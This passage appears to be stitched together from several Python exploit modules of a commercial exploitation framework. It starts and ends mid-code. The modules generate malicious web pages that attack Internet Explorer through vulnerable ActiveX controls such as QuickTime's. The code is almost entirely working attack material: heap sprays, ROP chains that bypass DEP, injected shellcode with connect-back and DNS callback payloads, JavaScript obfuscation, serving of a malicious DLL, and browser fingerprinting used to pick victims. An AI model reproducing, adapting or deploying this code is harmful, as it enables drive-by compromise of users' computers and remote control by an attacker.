# retn 0c (For sliding) heapspraycode += pack('<L', 0x5161385C) # Stack Pivot (EAX->ESP) depbypass = pack('<L', 0x516110F2) # RET depbypass += pack('<L', 0x516110F2) # RET depbypass += pack('<L', 0x516110F2) # RET depbypass += pack('<L', 0x516110F2) # RET depbypass += pack('<L', 0x516110F2) # RET depbypass += pack('<L', 0x516110F2) # RET depbypass += pack('<L', 0x516110F2) # RET depbypass += pack('<L', 0x516110F2) # RET depbypass += pack('<L', 0x516110F2) # RET depbypass += pack('<L', 0x516110F2) # RET depbypass += pack('<L', 0x5161B30C) # PUSH ESP, POP EDI depbypass += pack('<L', 0x5161B30C) # slackspace depbypass += pack('<L', 0x5162189F) # MOV EAX,EDI depbypass += pack('<L', 0x5162189F) # slackspace depbypass += pack('<L', 0x5162189F) # slackspace depbypass += pack('<L', 0x5162189F) # slackspace depbypass += pack('<L', 0x516250A4) # VA IAT depbypass += pack('<L', 0x5161188B) # POP EBX depbypass += pack('<L', 0x516218A1) # EBX (POP,POP,RET) depbypass += pack('<L', 0x51612460) # MOV EDX,DWORD PTR DS:[ESI], Call EBX depbypass += pack('<L', 0x51614CC1) # PUSH EAX,CALL EDX depbypass += pack('<L', 0x000007d0) # Size depbypass += pack('<L', 0x00001000) # Type depbypass += pack('<L', 0x00000040) # Protect depbypass += pack('<L', 0x5161B30C) # push esp, pop edi depbypass += pack('<L', 0x516106eb) # short jmp depbypass += pack('<L', 0x5161198C) # call edi depbypass += pack('<L', 0x51610aeb) # short jmp depbypass += wp_randomnops(12) filedata = """ <html> <body> <object ID='target' classid='clsid:15DBC3F9-9F0A-472E-8061-043D9CEC52F0'> </object> <script language="JavaScript"> """ #script code script = """ memory = new Array(); shellcode = unescape("SHELLCODE"); //var len= shellcode.length + 0x21; //0x21 is heap header var len=0 var heapspray = unescape("HEAPSPRAYCODE"); while(heapspray.length < 0x120000) heapspray += heapspray; heapspray = heapspray.substring(0, 0x120000- len); depbypass = unescape("DEPBYPASSCODE"); heapspray = unescape("%u1111%u1111%u1111%u1111%u1111%u1111") + heapspray; heapspray += depbypass + shellcode; try{ for(var i = 0; i < 400; i++) { memory[i]= heapspray.substring(0,heapspray.length); } } catch(err) {} target.extSetOwner(unescape('ADDRESS')); """ script = script.replace( 'SHELLCODE', wp_urluencode(wp_randomnops(4) + self.shellcode + ("\x00" * 100))) script = script.replace('HEAPSPRAYCODE', wp_urluencode(heapspraycode)) script = script.replace('DEPBYPASSCODE', wp_urluencode(depbypass)) script = script.replace('ADDRESS', wp_urluencode(landingAddress)) #Obfuscate the script code if self.isClientD: self.log("WP> Running jsObfuscator") filedata += self.jsObfuscator.obfuscate(script) else: filedata += script # Add the reset of the filedata filedata += """ </SCRIPT> </body> </html> """ return filedata def makesploit(self, clientheader, clientbody): self.createShellcode() # The main call from ClientD from libs.spkproxy import header, body h = header('SERVER') b = body() self.log('WP> ****************************************') self.log("WP> URL Received: %s" % clientheader.URL) user_agent = clientheader.getStrValue(['User-Agent']) # Get details browser, osversion = wp_browserinfo(user_agent) self.log('WP> OSVersion: %s' % osversion) self.log('WP> Browser: %s' % browser) self.log('WP> ') #self.log('WP> User agent of connecting host: %s' % user_agent) if clientheader.URL.count(self.filename): self.log('WP> Serving exploit html file') data = self.makefile() if not data: return None, None b.setBody(data) h.addHeader('Content-Type', 'text/html') h.addHeader('Set-Cookie', 'SessionID=%d' % self.jsObfuscator.getXORKey()) else: self.log('WP> Redirecting to self') h.status = '302' h.addHeader('Location', self.filename) h.addHeader('Content-Type', 'text/html') self.log('WP> ****************************************') return h, b def run(self): filedata = self.makefile() self.log("WP> Opening %s" % (self.filename)) fd = file(self.filename, 'wb+') fd.write(filedata) fd.close() self.log('WP> Wrote to %s' % (self.filename)) return 1
class theexploit(wp_exploit, httpclientside): ###################################################################################### ## WP> Dialog Information ##########################s############################################################ PAYLOADS = [ "IE Inject Connect Back", "HTTPMOSDEF SSL", "HTTPMOSDEF PLAIN", "Execute Command" ] # Clienside exploits default to HTTPMosdef PLAIN for clientD DEFAULT_PAYLOAD = 2 def __init__(self): wp_exploit.__init__(self) httpclientside.__init__(self) self.setInfo(DESCRIPTION) self.setInfo(VERSION) self.name = NAME self.targets = targets self.version = 0 self.use_universal = True # We default these to false self.HTTPMOSDEF = False self.useSSLMOSDEF = False self.isClientD = False self.badstring = '\0\x09\x20\x0a' #Ranomisze name for clientd self.filename = "".join( [random.choice(string.uppercase) for x in range(8)]) + ".html" # HTTP Custom Stuff self.jsObfuscator = JSObfuscator() self.jsObfuscator.xorKeyFromCookie("SessionID") return def is_vulnerable(self, info_dict): # Called from ClientD, if recon modules are enabled # returns a value used to rank the exploit within attacking modules """ Check for IE """ self.isClientD = True if "MSIE" in info_dict['user_agent']: self.log("WP> Target has MSIE") language = info_dict['plugins'].get("language", "") if type(language) == type([]): language = language[0] # it's a list in actuality self.log("WP> language found: %s" % language) if "en-us" in language: return 95 else: return 20 return 0 def usage(self): self.wp_usage(targets, "-F <filename>") return def neededListenerTypes(self): self.getArgs() return self.wp_createWin32Listener() def createShellcode(self): self.getArgs() #self.log('WP> Targeting version %d: %s'%(self.version,targets[self.version][0])) return self.wp_createShellcode() def getArgs(self): # If Called from clientD, update shellcode accordingly if getattr(self, 'useSSLMOSDEF', False): self.isClientD = True self.DEFAULT_PAYLOAD = 1 else: # Potentially called from httpserver update shellcode accordingly if self.HTTPMOSDEF: if self.useSSLMOSDEF: self.DEFAULT_PAYLOAD = 1 else: self.DEFAULT_PAYLOAD = 2 # Selected shell options self.wp_getShellcodeType() # If called from clientD there will be no target here if self.target: self.host = self.target.interface self.filename = self.argsDict.get('filename', self.filename) return def displayVersions(self): for t in targets.keys(): print 'WP> Version %d: %s' % (t, targets[t][0]) return def makefileIE8_VistaWin7(self): # Exploit for IE 8 Windows 7/Vista landingAddress = '308940992' #126A10C0 # Build our heapspray repeated block heapspraycode = pack('<L', 0x126A10b8) # landingAddress-8 heapspraycode += pack('<L', 0x63f0575b) # Stack Pivot (EAX->ESP) heapspraycode += pack('<L', 0x63f01dcb) # retn 0c (For sliding) heapspraycode += pack('<L', 0x11111111) # slackspace # depbypass using mscorie depbypass = pack('<L', 0x11111111) # slackspace depbypass += pack('<L', 0x11111111) # slackspace depbypass += pack('<L', 0x63f05428) # POP EDI, ESI, RET depbypass += pack('<L', 0x11111111) # slackspace depbypass += pack('<L', 0x11111111) # slackspace depbypass += pack('<L', 0x11111111) # slackspace depbypass += pack('<L', 0x63f05b01) # RETN depbypass += pack('<L', 0x63f05b01) # RETN depbypass += pack('<L', 0x63f05557) # POP EBP depbypass += pack('<L', 0x63f04cb5) # Call VirtualAlloc depbypass += pack('<L', 0x63f054c0) # POP EBX depbypass += pack('<L', 0x000007d0) # Size depbypass += pack('<L', 0x63f05458) # POP EDX depbypass += pack('<L', 0x00001000) # Type depbypass += pack('<L', 0x63f01e13) # POP ECX depbypass += pack('<L', 0x00000040) # Protect depbypass += pack('<L', 0x63f05afa) # PUSHAD, XOR EAX,C9027563, RET depbypass += pack('<L', 0x63f069e3) # CALL ESP depbypass += pack('<L', 0x11111111) # slackspace depbypass += pack('<L', 0x11111111) # slackspace depbypass += pack('<L', 0x11111111) # slackspace depbypass += pack('<L', 0x11111111) # slackspace depbypass += pack('<L', 0x11111111) # slackspace filedata = """ <html> <body> <object classid="OURDLL" height="0" width="0"></object> <script language="JavaScript"> """ #script code script = """ memory = new Array(); shellcode = unescape("SHELLCODE"); //var len= shellcode.length + 0x21; //0x21 is heap header var len=0 var heapspray = unescape("HEAPSPRAYCODE"); while(heapspray.length < 0x120000) heapspray += heapspray; heapspray = heapspray.substring(0, 0x120000- len); depbypass = unescape("DEPBYPASSCODE"); heapspray = unescape("%u1111%u1111%u1111%u1111%u1111%u1111") + heapspray; heapspray += depbypass + shellcode; try{ for(var i = 0; i < 400; i++) { memory[i]= heapspray.substring(0,heapspray.length); } } catch(err) {} """ script = script.replace( 'SHELLCODE', wp_urluencode(wp_randomnops(4) + self.shellcode + ("\x00" * 100))) script = script.replace('HEAPSPRAYCODE', wp_urluencode(heapspraycode)) script = script.replace('DEPBYPASSCODE', wp_urluencode(depbypass)) #Obfuscate the script code if self.isClientD: self.log("WP> Running jsObfuscator") filedata += self.jsObfuscator.obfuscate(script) else: filedata += script # Add the reset of the filedata filedata += """ </SCRIPT> <object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" width="0" height="0"> <PARAM name="_Marshaled_pUnk" value="ADDRESS"/> </object> </body> </html> """ filedata = filedata.replace('OURDLL', self.filename.replace('.html', '.dll')) filedata = filedata.replace('ADDRESS', landingAddress) return filedata def makefileWinXP(self): # Exploit for Windows XP landingAddress = '308940992' #126A10C0 # Build our heapspray repeated block heapspraycode = pack('<L', 0x126A10b8) # landingAddress-8 heapspraycode += pack('<L', 0x668B1AB2) # Stack Pivot (EAX->ESP) heapspraycode += pack('<L', 0x66801AAA) # retn 0c (For sliding) heapspraycode += pack('<L', 0x66801AAA) # retn 0c (For sliding) depbypass = pack('<L', 0x11111111) # slackspace depbypass += pack('<L', 0x11111111) # slackspace depbypass += pack('<L', 0x11111111) # slackspace # depbypass using QuickTime.qts depbypass += pack('<L', 0x66834755) # PUSH ESP / POP ESI / RET depbypass += pack('<L', 0x11111111) # slackspace depbypass += pack('<L', 0x11111111) # slackspace depbypass += pack('<L', 0x11111111) # slackspace depbypass += pack('<L', 0x6692597A) # MOV EAX, ESI / RET depbypass += pack('<L', 0x670C5943) # ADD EAX, 3C / RET depbypass += pack('<L', 0x670C5849) # add EAX, 18 / RET depbypass += pack('<L', 0x668E466D) * 3 # add eax, 8 depbypass += pack('<L', 0x66A6C94C) # XCHG EAX, EDI / RET depbypass += pack('<L', 0x66834755) # PUSH ESP / POP ESI / RET depbypass += pack('<L', 0x6692597A) # MOV EAX, ESI / RET depbypass += pack('<L', 0x66A99F74) # STOSD depbypass += pack('<L', 0x66818579) # XOR EAX, EAX depbypass += pack('<L', 0x66AEC813) # ADD EAX, 800 / POP ESI / RET depbypass += pack('<L', 0x61616161) depbypass += pack('<L', 0x66A99F74) # STOSD depbypass += pack('<L', 0x66AEC813) # ADD EAX, 800 / POP ESI / RET depbypass += pack('<L', 0x61616161) depbypass += pack('<L', 0x66A99F74) # STOSD depbypass += pack('<L', 0x66818579) # XOR EAX, EAX depbypass += pack('<L', 0x668F9B80) # ADD EAX, 40 / POP EBP / RET depbypass += pack('<L', 0x61616161) # depbypass += pack('<L', 0x66A99F74) # STOSD depbypass += pack('<L', 0x66A6C94C) # XCHG EAX, EDI / RET depbypass += pack('<L', 0x6685E4A4) # XCHG EAX, EBP / RET depbypass += pack('<L', 0x66802173) # POP ECX / RET depbypass += pack('<L', 0x671BD278) # VirtualAlloc depbypass += pack('<L', 0x66834F87) # MOV EAX, [ECX] / RET depbypass += pack('<L', 0x668EA7E5) # CALL EAX / RET depbypass += pack('<L', 0x61616161) * 4 # write params here depbypass += pack('<L', 0x66855634) # PUSH ESP / RETN depbypass += wp_randomnops(4) filedata = """ <html> <body> <object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" width="0" height="0"> </object> <script language="JavaScript"> """ #script code script = """ memory = new Array(); shellcode = unescape("SHELLCODE"); //var len= shellcode.length + 0x21; //0x21 is heap header var len=0 var heapspray = unescape("HEAPSPRAYCODE"); while(heapspray.length < 0x120000) heapspray += heapspray; heapspray = heapspray.substring(0, 0x120000- len); depbypass = unescape("DEPBYPASSCODE"); heapspray = unescape("%u1111%u1111%u1111%u1111%u1111%u1111") + heapspray; heapspray += depbypass + shellcode; try{ for(var i = 0; i < 400; i++) { memory[i]= heapspray.substring(0,heapspray.length); } } catch(err) {} function doit() { var data='<object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" width="0" height="0">'; data +='<PARAM name="_Marshaled_pUnk" value="ADDRESS"/>'; data +='</object>'; document.getElementById('test').innerHTML = data; } // Allow time for the quicktime modules to load setTimeout("doit()",2000); """ script = script.replace( 'SHELLCODE', wp_urluencode(wp_randomnops(4) + self.shellcode + ("\x00" * 100))) script = script.replace('HEAPSPRAYCODE', wp_urluencode(heapspraycode)) script = script.replace('DEPBYPASSCODE', wp_urluencode(depbypass)) script = script.replace('ADDRESS', landingAddress) #Obfuscate the script code if self.isClientD: self.log("WP> Running jsObfuscator") filedata += self.jsObfuscator.obfuscate(script) else: filedata += script # Add the reset of the filedata filedata += """ </SCRIPT> <div id="test"></div> </body> </html> """ return filedata def makefileIE7(self): # Exploit for Windows Vista IE 7 landingAddress = '308940992' #126A10C0 # Build our heapspray repeated block heapspraycode = pack('<L', 0x126A10b8) # landingAddress-8 heapspraycode += pack('<L', 0x126A10c8) # return to heap heapspraycode += "\xeb\x0e\x90\x90" # short jmp heapspraycode += pack('<L', 0x66801AAA) # slack space filedata = """ <html> <body> <object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" width="0" height="0"> </object> <script language="JavaScript"> """ #script code script = """ memory = new Array(); shellcode = unescape("SHELLCODE"); //var len= shellcode.length + 0x21; //0x21 is heap header var len=0 var heapspray = unescape("HEAPSPRAYCODE"); while(heapspray.length < 0x120000) heapspray += heapspray; heapspray = heapspray.substring(0, 0x120000- len); heapspray = unescape("%u1111%u1111%u1111%u1111%u1111%u1111") + heapspray; heapspray += unescape("%u1111%u1111%u1111%u1111%u1111%u1111") + shellcode; try{ for(var i = 0; i < 400; i++) { memory[i]= heapspray.substring(0,heapspray.length); } } catch(err) {} """ script = script.replace( 'SHELLCODE', wp_urluencode(wp_randomnops(4) + self.shellcode + ("\x00" * 100))) script = script.replace('HEAPSPRAYCODE', wp_urluencode(heapspraycode)) #Obfuscate the script code if self.isClientD: self.log("WP> Running jsObfuscator") filedata += self.jsObfuscator.obfuscate(script) else: filedata += script # Add the reset of the filedata filedata += """ </SCRIPT> <object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" width="0" height="0"> <PARAM name="_Marshaled_pUnk" value="ADDRESS"/> </object> </body> </html> """ filedata = filedata.replace('ADDRESS', landingAddress) return filedata def makefile(self, browser, osversion): if osversion == "Windows XP": self.log('WP> Serving Windows XP exploit') return self.makefileWinXP() if browser == "MSIE 8.0": self.log('WP> Serving MSIE 8.0 exploit') return self.makefileIE8_VistaWin7() if browser == "MSIE 7.0": self.log('WP> Serving MSIE 7.0 exploit') return self.makefileIE7() # Default to a non ASLR version self.log('WP> Serving Non ASLR Exploit') return self.makefileWinXP() def makesploit(self, clientheader, clientbody): self.createShellcode() # The main call from ClientD from libs.spkproxy import header, body h = header('SERVER') b = body() self.log('WP> ****************************************') self.log("WP> URL Received: %s" % clientheader.URL) user_agent = clientheader.getStrValue(['User-Agent']) # Get details browser, osversion = wp_browserinfo(user_agent) self.log('WP> OSVersion: %s' % osversion) self.log('WP> Browser: %s' % browser) self.log('WP> ') #self.log('WP> User agent of connecting host: %s' % user_agent) if clientheader.URL.count(self.filename): self.log('WP> Serving exploit html file') data = self.makefile(browser, osversion) if not data: return None, None b.setBody(data) h.addHeader('Content-Type', 'text/html') h.addHeader('Set-Cookie', 'SessionID=%d' % self.jsObfuscator.getXORKey()) elif (clientheader.URL.count('.dll')): self.log('WP> Serving exploit DLL file') data = open( '3rdparty/White_Phosphorus/exploits/wp_quicktime_punk/ourdll.dll' ).read() if not data: return None, None b.setBody(data) h.addHeader('Content-Type', 'application/octet-stream') else: self.log('WP> Redirecting to self') h.status = '302' h.addHeader('Location', self.filename) h.addHeader('Content-Type', 'text/html') self.log('WP> ****************************************') return h, b def run(self): if (self.version == 0): filedata = self.makefile('', 'Windows XP') elif (self.version == 1): filedata = self.makefile('MSIE 7', '') elif (self.version == 2): filedata = self.makefile('MSIE 8', '') self.log("WP> Opening %s" % (self.filename)) fd = file(self.filename, 'wb+') fd.write(filedata) fd.close() self.log('WP> Wrote to %s' % (self.filename)) return 1
class theexploit(httpclientside): def __init__(self): httpclientside.__init__(self) self.version=0 self.name=NAME self.filename="".join( [ random.choice(string.uppercase) for x in range(8) ] ) + ".html" # Set up our javascript obfuscator, this could be done in httpclientside class self.jsObfuscator = JSObfuscator() self.jsObfuscator.xorKeyFromCookie("SessionID") self.language = "" #"en-us" # uncomment this to default to English version self.plugin_info = None # we want clientd to give us a plugin dict #HTTPMOSDEF shellcode is 2100 bytes or so - our shellcode space is 2044 or so. #XXX: We need to switch to SearchCode? self.nohttpmosdef = True return # This is expecting an info_dict that is populated like so: # # info_dict['plugins'] = parse_plugin_data(plugins_dict) # info_dict['user_agent'] = clientheader.getStrValue(['User-Agent']) # # self.plugin_info comes from clientd in parse_plugin_data scrubbed format def is_vulnerable(self, info_dict): """ Check to make sure this is something we want to run, in this case, it means "running IE 7 and a language we have a target for. """ if "MSIE 7.0" in info_dict['user_agent'] or "MSIE 6" in info_dict['user_agent']: language = info_dict['plugins'].get("language", "") if type(language)==type([]): language=language[0] #it's a list in actuality self.log("language found: %s"%language) for t in targets.keys(): target=targets[t] if target[1] == language: #found language, and is IE7 #high value because it is reliable, recent and it defeats dep self.log("Found vulnerable target") return 50 else: self.log("Not IE 6/7 - possibly vulnerable, but not to this exploit") self.log("User Agent: %s"%info_dict.get("user_agent")) #not ie 7 or we don't have the language return 0 def set_version_from_language(self, target_info): """ We key on language right now (although really it could be a dictionary of things) """ language=target_info["language"] if self.msie6: ieversion = '6' else: ieversion = '7' for t in targets.keys(): if targets[t][1]==language: if targets[t][0].count(ieversion): self.log("Using target version: %s: %s"%(t,repr(targets[t]))) self.version=t break return self.version def makefile(self, request_header=None): """ Makes the exploit HTML """ self.getArgs() if not self.version: #i.e. we are not using clientd if self.language: if not request_header: self.log("Assuming IE 7 since we didn't get a request header!") self.msie6 = False else: self.log("Checking IE version from Request Header") if "MSIE 6" in request_header.getHeaderValue("User-Agent"): self.log("IE 6 detected") self.msie6 = True else: self.log("Not IE 6") self.msie6 = False #need to autodetect language here too from Accept-Language self.log("Running against language set manually: %s"%self.language) self.set_version_from_language({"language":self.language}) else: self.log("We are running without plugin_info or version - returning no page!") return "" if not self.version: self.log("No version was set! Bailing out...") return "" targ = targets[self.version][2] if not hasattr(self, "shellcode") or not self.shellcode: self.log("Regenerating shellcode in makefile") self.createShellcode() filedata="""<html> <body> <script language="JavaScript"> """ script = """ function spray() { var array = new Array(); var ls = 0x7F000; var shellcode = unescape("%u9090%u9090%u9090") + unescape("SHELLCODE"); base =myescape(NTPROTECT); base+=myescape(0x0d0db8bc); base+=myescape(0x0d0d0000); base+=myescape(0x10000); base+=myescape(0x40); base+=myescape(0x0d0db8b0); base+=myescape(0xc0c4c0c1); base+=myescape(GETMESTACK); base = unescape(base); var t = unescape("%u0d0d"); var b = unescape("%u0d0d"); while(b.length < (0x7fc-12-shellcode.length)) { b+=t; } //b= unescape( "%u9090%u9090" + myescape(GETMESTACK)) + b + shellcode; b = base + b + shellcode; b = b.substring(0,b.length); while(b.length < ls/2) { b += b } var lh = b.substring(0,ls/2); delete b; for(i=0;i<270;i++) { array[i] = lh + lh + shellcode; } return array; } """ if self.msie6: script += """ function createheap(){ var a = Array(); for (i = 0; i < 0x500; i++){ a[i] = document.createElement("button"); } return a; } function fillheap( a){ var thereal = unescape("\u1024\u0d0d\uc0c4\u4141\u4141\u4141"); var theteal = unescape("\u1024\u0d0d\uc0c4\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141"); var theueal = unescape("\u1024\u0d0d\uc0c4\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141"); for(i=0; i < 0x500; i+=3) { a[i].name = theueal; } for(i=1; i < 0x500; i+=3) { a[i].name = theteal; } for(i=2; i < 0x500; i+=3) { a[i].name = thereal; } } function makeholes(a){ for(i = 0x0; i < 0x450; i+=2) a[i].name = ''; } """ else: script += """ function createheap() { var a = new Array(); for(i=0; i < 0x10; i++) { var client = new XMLHttpRequest(); a[i] = client; } return a; } function fillheap( a) { // Allocate a chunk of a given size. I can control the first 4 bytes. var cont = unescape("\u1024\u0d0d\uc0c4\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141"); for(i=0; i < 0x10; i++) { a[i].open("GET", cont); } } """ script += """ function hexa(val) { var str=new Number(val).toString(16); while (str.length < 4) str = "0" + str; return str; } function myescape(addr) { var str=""; str="%u"+hexa(addr&0xffff)+"%u"+hexa((addr>>16)&0xffff); return str; } function build_exploit() { """ if self.msie6: script += """ sp = spray(); l = createheap(); h = createheap(); var e = document.createElement("P"); e.addBehavior("#default#userData"); document.body.appendChild(e); e.setAttribute('a', "string"); fillheap(l); var p = document.createElement("A"); var t = document.createElement("UL"); var w = document.createElement("HEAD"); makeholes(l); e.setAttribute('b', p); e.setAttribute('c', t); e.setAttribute('d', w); fillheap(h); p['createElement'](); } build_exploit() """ else: script += """ var e = document.createElement("P"); var p = document.createElement("A"); var t = document.createElement("UL"); var w = document.createElement("HEAD"); h = createheap(); spray(); e.addBehavior("#default#userData"); document.body.appendChild(e); e.setAttribute('s', p); e.setAttribute('s', t); e.setAttribute('s', w); fillheap(h); p['createElement'](); } build_exploit() """ script = script.replace('SHELLCODE',urluencode(self.shellcode)) script= script.replace("GETMESTACK", targ[0] ) script = script.replace("NTPROTECT", targ[1]) #not used anymore #script = script.replace("ADDFOURBYTES", str(self.version)) filedata += self.jsObfuscator.obfuscate(script) filedata += """ </script> </body> </html> """ return filedata # 0x75c9c2b9 def makesploit(self,clientheader,clientbody): from libs.spkproxy import header,body h=header('SERVER') b=body() if self.plugin_info: info_dict=self.plugin_info self.log("We got a plugin info for this target - thanks clientd!") if self.is_vulnerable(self.plugin_info): self.log("This client is most likely vulnerable!") #check for IE 6 if info_dict['user_agent'].count('MSIE 6'): self.msie6 = True else: self.msie6 = False language=self.plugin_info["plugins"].get("language") if not language: self.log("Very odd error: no language in plugin info!") return None, None if type(language)==type([]): language=language[0] #it's possibly a list in actuality self.set_version_from_language({"language":language}) if self.version==0: self.log("Didn't find a target for that language (%s) - very odd"%(language)) return None, None else: self.log("Bailing on this client as it is not likely to be vulnerable (%s)"%self.plugin_info.get("language")) return None, None if clientheader.URL.count(self.filename): self.log('Serving HTML file') self.createShellcode() sploitstring=self.makefile(request_header = clientheader) b.setBody(sploitstring) h.addHeader('Content-Type','text/html') h.addHeader('Set-Cookie','SessionID=%d' % self.jsObfuscator.getXORKey()) else: self.log('redirecting to self') h.status='302' h.addHeader('Location',self.filename) h.addHeader('Content-Type','text/html') return h,b def neededListenerTypes(self): return self.clientSideListenerTypes() def getArgs(self): self.host=self.target.interface self.getarg("filename") self.getarg("language") return def displayVersions(self): for t in targets.keys(): print 'Version %d: %s'%(t,targets[t][0]) return def run(self): self.getArgs() # Build the html that triggers the vulnerability filedata=self.makefile() self.log('Opening %s for output'%(self.filename)) fd=file(self.filename,'wb+') fd.write(filedata) fd.close() self.log('Wrote to %s'%(self.filename)) return 1
class theexploit(wp_exploit, httpclientside): PAYLOADS=["IE Inject Connect Back", "HTTPMOSDEF SSL", "HTTPMOSDEF PLAIN", "Execute Command"] DEFAULT_PAYLOAD = 0 def __init__(self): wp_exploit.__init__(self) httpclientside.__init__(self) self.setInfo(DESCRIPTION) self.setInfo(VERSION) self.name = NAME self.targets = targets self.version = 0 self.isClientD = False self.use_universal = True self.encode_printable = True self.alignstack = True self.badstring = "\x00\x09\x0a\x0b\x0c\x0d\x22\x5c" self.filename="".join( [ random.choice(string.uppercase) for x in range(8) ] ) + ".html" self.jsObfuscator = JSObfuscator() self.jsObfuscator.xorKeyFromCookie("SessionID") return def is_vulnerable(self, info_dict): """ Check for IE """ self.isClientD = True if "MSIE" in info_dict['user_agent']: self.log("WP> Target has MSIE") language = info_dict['plugins'].get("language", "") if type(language)==type([]): language=language[0] self.log("WP> language found: %s"%language) if "en-us" in language: return 95 else: return 20 return 0 def usage(self): self.wp_usage(targets,"-F <filename>") return def neededListenerTypes(self): self.getArgs() return self.wp_createWin32Listener() def createShellcode(self): self.getArgs() self.log('WP> Targeting version %d: %s'%(self.version,targets[self.version][0])) return self.wp_createShellcode() def getArgs(self): if getattr(self,'useSSLMOSDEF',False): self.isClientD = True self.DEFAULT_PAYLOAD = 1 else: if self.HTTPMOSDEF: if self.useSSLMOSDEF: self.DEFAULT_PAYLOAD = 1 else: self.DEFAULT_PAYLOAD = 2 self.wp_getShellcodeType() if self.target: self.host=self.target.interface self.filename=self.argsDict.get('filename',self.filename) return def displayVersions(self): for t in targets.keys(): print 'WP> Version %d: %s'%(t,targets[t][0]) return def makefile(self,browser,osversion): if osversion == "Windows XP": if browser == "MSIE 7.0": self.log('WP> Serving Windows XP IE7 exploit') return self.makefileIE7() self.log('WP> Invalid target') return def makefileIE7(self): payload = pack('<L', 0x0c0c0c0c)*68 sc = "\x8B\xE5" sc += "\x83\xC4\x05" sc += self.shellcode + wp_randomstring(100) filedata="""<html> <head> <script>""" script = wp_clientside_HeapLib(padding="%u0c0c") script += """ var heap_obj = new heapLib.ie(0x20000); var nops = unescape("NOPS"); var code = unescape("SHELLCODE"); while (nops.length < 0x2000) nops += nops; var offset = nops.substring(0, 0x5F4); var shellcode = offset + code + nops.substring(0, 0x1000-code.length-offset.length); while (shellcode.length < 0x80000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); for (var z=1; z < 0x300; z++) { heap_obj.alloc(block); } """ script = script.replace('SHELLCODE',wp_urluencode(sc)) script = script.replace('NOPS',wp_urluencode(pack('<L',0x0c0c0c0c))) self.isClientD=False if self.isClientD: self.log("WP> Running jsObfuscator") filedata += self.jsObfuscator.obfuscate(script) else: filedata += script filedata += """</script> <body> <object classid="clsid:09F68A41-2FBE-11D3-8C9D-0008C7D901B6" id='target'/></object> <script language='javascript'> arg1 = "PAYLOAD"; target.ChooseFilePath(arg1); </script> </html> """ filedata = filedata.replace('PAYLOAD', payload) return filedata def makesploit(self,clientheader,clientbody): self.createShellcode() from libs.spkproxy import header,body h=header('SERVER') b=body() self.log('WP> ****************************************') self.log("WP> URL Received: %s"%clientheader.URL) user_agent = clientheader.getStrValue(['User-Agent']) cookies = clientheader.getStrValue(['Cookie']) browser,osversion = wp_browserinfo(user_agent) self.log('WP> OSVersion: %s' % osversion) self.log('WP> Browser: %s' % browser) self.log('WP> ') if clientheader.URL.count(self.filename): self.log('WP> Serving exploit file') data=self.makefile(browser,osversion) if not data: return None,None b.setBody(data) h.addHeader('Content-Type','text/html') h.addHeader('Set-Cookie','SessionID=%d' % self.jsObfuscator.getXORKey()) else: self.log('WP> Redirecting to self') h.status='302' h.addHeader('Location',self.filename) h.addHeader('Content-Type','text/html') return h,b def run(self): filedata=self.makefile() outputfile = wp_outputpath(self.filename) self.log("WP> Opening %s for output"%outputfile) fd=file(outputfile,'wb+') fd.write(filedata) fd.close() self.log('WP> Wrote to %s'%(outputfile)) return 1
class theexploit(httpclientside): def __init__(self): tcpexploit.__init__(self) httpclientside.__init__(self) self.searchMethod = self.FindBrowser_FindAnyTag_CmpExtraInfo self.UserAgent = [("Mozilla/", "MSIE", "")] self.plugin_info = None # we want clientd to give us a plugin dict self.supports_dns_mosdef = True self.shellcode="\xcc" * 298 self.setVersions() self.version=1 self.badstring="" #bad strings are for wusses :> self.name=NAME self.filename="".join( [ random.choice(string.uppercase) for x in range(8) ] ) + ".html" self.number_of_imports = 0xC self.cssname=u"\u1024\u0900"*((self.number_of_imports*2) - 2) self.jsObfuscator = JSObfuscator() self.jsObfuscator.xorKeyFromCookie("SessionID") def random_dummy_string(self, prefix=""): h = hashlib.new('sha1') h.update(str(random.random() * 10).replace('.', '')) retval = h.hexdigest() retval = '%s%.5s' % (prefix, retval) return retval # This is expecting an info_dict that is populated like so: # # info_dict['plugins'] = parse_plugin_data(plugins_dict) # info_dict['user_agent'] = clientheader.getStrValue(['User-Agent']) # # self.plugin_info comes from clientd in parse_plugin_data scrubbed format def is_vulnerable(self, info_dict): """ Check to make sure this is something we want to run, in this case, it means "running IE 7 and a language we have a target for. """ if "MSIE 7.0" in info_dict['user_agent']: return 50 self.log("Not IE7 - possibly vulnerable, but not to this exploit") return 0 def displayVersions(self): for v in self.versions.keys(): print "Version %d: %s"%(v,self.versions[v][0]) def setVersions(self): self.versions={} #name, jmp esp, writeloc, writable, shelloc self.versions[1]=("Windows - all versions",None) def neededListenerTypes(self): return self.clientSideListenerTypes() def createShellcode(self): #get us a clean stack to play with and save the original EBP for continuation of execution before_shellcode=""" xorl %ecx,%ecx movl %fs:0x8(%ecx),%esp addl $0x2000, %esp movl %ebp, 0x09001028(%ecx) """ continuation_code=""" xorl %ecx,%ecx xorl %eax,%eax movl 0x09001028(%ecx), %ebp movl %ebp, %esp subl $0x10, %esp popl %edi popl %esi popl %ebx leave ret $4 """ injectme = self.createWin32Shellcode_universal(self.badstring, self.callback.ip, self.callback.port) if not self.DNSMOSDEF: sc = shellcodeGenerator.win32() sc.vProtectSelf=False sc.vAllocSelf = False sc.addAttr("findeipnoesp", {"subespval": 0}) sc.addAttr("InjectToSelf", { "injectme" : injectme, "customexit" : continuation_code }) self.shellcode = mosdef.assemble(before_shellcode, "x86") + sc.get() else: import shellcode.standalone.windows.payloads as payloads p = payloads.payloads() cd = "C000.00.%s.ms11003.com" % (self.random_dummy_string()) sc = p.dns_proxy(cd, self.callback.ip) #we'll need to tweak the domain sc = p.assemble(sc) self.shellcode = mosdef.assemble(before_shellcode, "x86") + sc return len(self.shellcode) def makefile(self): """ ROP strategy: * IEUI dependant only - LoadLibraryA(kernel32.dll) - GetProcAddress(VirtualProtect) - VirtualProtect(0x09001024, 0x1000, 0x40, 